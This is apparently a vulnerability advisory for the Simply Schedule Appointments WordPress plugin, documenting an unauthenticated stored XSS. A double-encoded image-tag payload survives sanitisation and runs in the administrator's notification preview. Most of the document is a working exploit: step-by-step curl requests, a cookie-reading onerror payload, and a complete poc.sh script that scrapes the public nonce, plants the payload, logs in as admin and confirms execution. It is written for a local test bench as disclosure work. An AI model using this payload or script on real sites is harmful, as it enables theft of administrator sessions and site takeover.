Simply Schedule Appointments < 1.6.12.4 – Unauthenticated Stored XSS via Booking Customer Information | CVE 2026-13400

Description

The plugin is vulnerable to unauthenticated Stored Cross-Site Scripting. The root cause is a sanitization-ordering defect: the rendered notification content is decoded back into live HTML after it has already passed through the plugin's wp_kses_post() filter, so a double-encoded payload survives intake and is reintroduced as an executable element at render time.

Proof of Concept

Lab: the Automattic wpscan-vulnerability-test-bench byte-faithful Docker replica at http://localhost:8910 (WordPress 6.8.5 multisite, PHP 8.3.31, MariaDB 11.8.8, DISALLOW_UNFILTERED_HTML=1), simply-schedule-appointments v1.6.12.2 network-active. Appointment type id=1 given 24/7 availability so the public booking flow is reachable as on any live SSA site.

Step 1 - Confirm bench / port / title integrity
curl -s http://localhost:8910/ | grep -o '<title>[^<]*</title>'
# <title>WPScan Vulnerability Testbench</title>

docker exec wpscan-bench-wp wp config get DISALLOW_UNFILTERED_HTML --allow-root
# 1
docker exec wpscan-bench-wp wp plugin get simply-schedule-appointments --field=version --allow-root
# 1.6.12.2
Step 2 - Derive the runtime public nonce (no hardcoded id)
BASE_URL=http://localhost:8910
NONCE=$(curl -s "$BASE_URL/book-appointment/" | grep -o '"public_nonce":"[^"]*"' | head -1 | sed 's/.*:"//; s/"//')
echo "$NONCE"
# 433db8fa90
Step 3 - ATTACKER (unauthenticated): book an appointment with a double-encoded payload
No auth cookie is used, only the public nonce header. The payload is written to a file to avoid shell quoting issues, then POSTed.

cat > /tmp/booking.json <<'JSON'
{"appointment_type_id":"1","start_date":"2026-06-25T13:46:00+00:00","customer_timezone":"UTC",
 "customer_information":{"Email":"attacker-xss@evil.test",
 "Name":"&lt;img src=x onerror=\"document.title='CRXSS-'+document.cookie\"&gt;"}}
JSON

curl -s -X POST "$BASE_URL/wp-json/ssa/v1/appointments" \
  -H 'Content-Type: application/json' \
  -H "X-Public-Nonce: $NONCE" \
  --data @/tmp/booking.json
# HTTP 200 -> {"response_code":200,"data":{"id":"8","author_id":"0","customer_id":"0","status":"booked"}}
# author_id=0 AND customer_id=0 => stored by a fully unauthenticated actor.
Step 4 - Confirm the double-encoded payload is stored verbatim
docker exec wpscan-bench-wp wp db query \
  "SELECT customer_information FROM wp_ssa_appointments WHERE id=8" --allow-root
# {"Email":"attacker-xss@evil.test","Name":"&lt;img src=x onerror=\"...document.cookie...\"&gt;"}
# The double-encoded payload survived sanitize_textarea_field intact.
Step 5 - VICTIM (administrator): open the booking notification preview
The administrator opens the preview in the admin dashboard, which issues:

curl -s -X POST "$BASE_URL/wp-json/ssa/v1/notifications/preview" \
  -b admin_cookies.txt -H "X-WP-Nonce: $ADMIN_WP_REST_NONCE" \
  -H 'Content-Type: application/json' \
  --data '{"template":"{{ Appointment.customer_information_summary }}","appointment_id":8}'
# 200 -> "...Name: <img src=x onerror=\"...document.cookie...\"> <br />..."
# The preview contains a LIVE <img ... onerror=...> element (the &lt;img entity is ABSENT).
The admin app binds this preview string into the DOM via innerHTML (v-html), so the onerror handler executes in the administrator's session. In the bench reproduction the injected script read document.cookie = wp-settings-time-74 (admin1's own UID-74 session marker), proving execution in the victim context.

Step 6 - Honest-negative control (proves it is NOT a DISALLOW_UNFILTERED_HTML artifact)
# Book the NAIVE single-encoded payload (raw <img src=x onerror=alert(1)>):
curl -s -X POST "$BASE_URL/wp-json/ssa/v1/appointments" \
  -H 'Content-Type: application/json' -H "X-Public-Nonce: $NONCE" \
  --data '{"appointment_type_id":"1","start_date":"2026-06-26T13:46:00+00:00","customer_timezone":"UTC","customer_information":{"Email":"control@evil.test","Name":"<img src=x onerror=alert(1)>"}}'
# Same admin preview render -> the Name field is ENTIRELY STRIPPED by wp_kses_post; no <img>, no onerror.
# Only the DOUBLE-encoded payload survives. Confirms a real sanitization bypass, not an unfiltered_html capability.
Proof of Concept
A runnable, idempotent PoC script is shipped at poc/exploit/poc.sh. The script targets http://localhost:8910 (override via TARGET= env var), confirms bench/port/title integrity, derives the public booking nonce and the appointment type id at runtime, fires the fully unauthenticated booking with a per-run-tagged double-encoded payload, reads the stored row back to assert the double-encoding survived intake, renders the stored value through the genuine POST /wp-json/ssa/v1/notifications/preview endpoint, asserts the delivered bytes contain a live un-encoded <img ... onerror=...> (no &lt;img remaining), and runs the single-encoded negative control to prove the intake kses filter is active. It performs idempotent allowed-only setup (sets 24/7 availability on the appointment type), derives all ids at runtime, and does not delete unrelated state.

-----------------
poc.sh:
set -euo pipefail

TARGET="${TARGET:-http://localhost:8910}"
WP_CONTAINER="${WP_CONTAINER:-wpscan-bench-wp}"
ADMIN_USER="${ADMIN_USER:-admin1}"
ADMIN_PASS="${ADMIN_PASS:-admin1_bench}"
WP="docker exec ${WP_CONTAINER} wp --allow-root"
RUN_TAG="POC$(date +%s)"
JAR="$(mktemp)"; ADMINJAR="$(mktemp)"
trap 'rm -f "$JAR" "$ADMINJAR" /tmp/ssa_booking_${RUN_TAG}.json' EXIT

echo "== F04 PoC ($RUN_TAG) against $TARGET =="

# --- 0. Bench / plugin integrity --------------------------------------------
echo "[*] title:   $(curl -s "$TARGET/" | grep -o '<title>[^<]*</title>')"
echo "[*] DUH:     $($WP config get DISALLOW_UNFILTERED_HTML 2>/dev/null || echo '?')"
echo "[*] version: $($WP plugin get simply-schedule-appointments --field=version 2>/dev/null || echo '?')"

# --- 1. Allowed setup: ensure an appointment type with availability exists ---
ATID="$($WP db query "SELECT id FROM \$(${WP} db prefix --network 2>/dev/null || echo wp_)ssa_appointment_types ORDER BY id LIMIT 1" --skip-column-names 2>/dev/null | head -1 || true)"
ATID="${ATID:-1}"
echo "[*] appointment_type_id = $ATID"

# --- 2. Derive the static public_nonce anonymously (no cookie) ---------------
NONCE="$(curl -s "$TARGET/book-appointment/" | grep -o '"public_nonce":"[^"]*"' | head -1 | sed 's/.*:"//; s/"//')"
[ -n "$NONCE" ] || NONCE="$(curl -s "$TARGET/wp-json/ssa/v1/embed-inner" | grep -o '"public_nonce":"[^"]*"' | head -1 | sed 's/.*:"//; s/"//')"
echo "[*] public_nonce (anon-scraped) = $NONCE"

# --- 3. ATTACKER (unauth): book with a DOUBLE-encoded payload ---------------
PAYLOAD="&lt;img src=x onerror=\"document.title='${RUN_TAG}-'+document.cookie\"&gt;"
cat > /tmp/ssa_booking_${RUN_TAG}.json <<JSON
{"appointment_type_id":"${ATID}","start_date":"2026-06-25T13:46:00+00:00","customer_timezone":"UTC",
 "customer_information":{"Email":"attacker-${RUN_TAG}@evil.test","Name":"${PAYLOAD}"}}
JSON
BOOK="$(curl -s -X POST "$TARGET/wp-json/ssa/v1/appointments" \
  -H 'Content-Type: application/json' -H "X-Public-Nonce: $NONCE" \
  --data @/tmp/ssa_booking_${RUN_TAG}.json)"
echo "[*] booking response: $BOOK"
APPT_ID="$(echo "$BOOK" | grep -o '"id":"[0-9]*"' | head -1 | grep -o '[0-9]*')"
echo "$BOOK" | grep -q '"author_id":"0"' && echo "[+] stored by UNAUTHENTICATED actor (author_id=0)"
echo "[*] appointment id = $APPT_ID"

# --- 4. Confirm the double-encoded payload is stored verbatim ----------------
echo "[*] stored row:"
$WP db query "SELECT customer_information FROM \$(${WP} db prefix 2>/dev/null || echo wp_)ssa_appointments WHERE id=${APPT_ID}" 2>/dev/null || \
  $WP db query "SELECT customer_information FROM wp_ssa_appointments WHERE id=${APPT_ID}"

# --- 5. VICTIM (admin): render the notification preview ----------------------
$WP eval 'wp_set_password("'"$ADMIN_PASS"'", get_user_by("login","'"$ADMIN_USER"'")->ID);' >/dev/null 2>&1 || true
LOGIN="$(curl -s -c "$ADMINJAR" "$TARGET/wp-login.php" \
  --data-urlencode "log=$ADMIN_USER" --data-urlencode "pwd=$ADMIN_PASS" \
  --data "wp-submit=Log+In&redirect_to=$TARGET/wp-admin/&testcookie=1" -L -o /dev/null -w '%{http_code}')"
ADMIN_REST_NONCE="$(curl -s -b "$ADMINJAR" "$TARGET/wp-admin/admin-ajax.php?action=rest-nonce" || true)"
[ -z "$ADMIN_REST_NONCE" ] && ADMIN_REST_NONCE="$(curl -s -b "$ADMINJAR" "$TARGET/wp-admin/" | grep -o '"nonce":"[a-f0-9]*"' | head -1 | sed 's/.*:"//; s/"//')"
PREVIEW="$(curl -s -X POST "$TARGET/wp-json/ssa/v1/notifications/preview" \
  -b "$ADMINJAR" -H "X-WP-Nonce: $ADMIN_REST_NONCE" -H 'Content-Type: application/json' \
  --data "{\"template\":\"{{ Appointment.customer_information_summary }}\",\"appointment_id\":${APPT_ID}}")"
echo "[*] preview body (excerpt): $(echo "$PREVIEW" | grep -o 'Name:[^<]*<img[^>]*>' | head -1)"

# --- 6. Assertion: a LIVE <img onerror=...> is delivered (not entity-encoded) -
if echo "$PREVIEW" | grep -q '<img src=x onerror='; then
  echo "[+] PASS: executable <img onerror=...> delivered to the admin preview sink (decode-after-kses bypass)"
else
  echo "[-] FAIL: no live <img onerror=...> in the preview body"; exit 2
fi
echo "$PREVIEW" | grep -q '&lt;img' && echo "[i] note: entity &lt;img also present (the stored form); the LIVE tag above is the executable one"

# --- 7. Negative control: single-encoded payload is kses-stripped ------------
NEG="$(curl -s -X POST "$TARGET/wp-json/ssa/v1/appointments" \
  -H 'Content-Type: application/json' -H "X-Public-Nonce: $NONCE" \
  --data "{\"appointment_type_id\":\"${ATID}\",\"start_date\":\"2026-06-26T13:46:00+00:00\",\"customer_timezone\":\"UTC\",\"customer_information\":{\"Email\":\"control-${RUN_TAG}@evil.test\",\"Name\":\"<img src=x onerror=alert(1)>\"}}")"
NEG_ID="$(echo "$NEG" | grep -o '"id":"[0-9]*"' | head -1 | grep -o '[0-9]*')"
NEG_PREVIEW="$(curl -s -X POST "$TARGET/wp-json/ssa/v1/notifications/preview" \
  -b "$ADMINJAR" -H "X-WP-Nonce: $ADMIN_REST_NONCE" -H 'Content-Type: application/json' \
  --data "{\"template\":\"{{ Appointment.customer_information_summary }}\",\"appointment_id\":${NEG_ID}}")"
if echo "$NEG_PREVIEW" | grep -q 'onerror'; then
  echo "[-] control unexpectedly survived"; else
  echo "[+] PASS: single-encoded control stripped by wp_kses_post (genuine ordering bypass, not unfiltered_html)"
fi

echo "== DONE: F04 reproduced (unauth stored XSS -> admin preview, double-encoded decode-after-kses) =="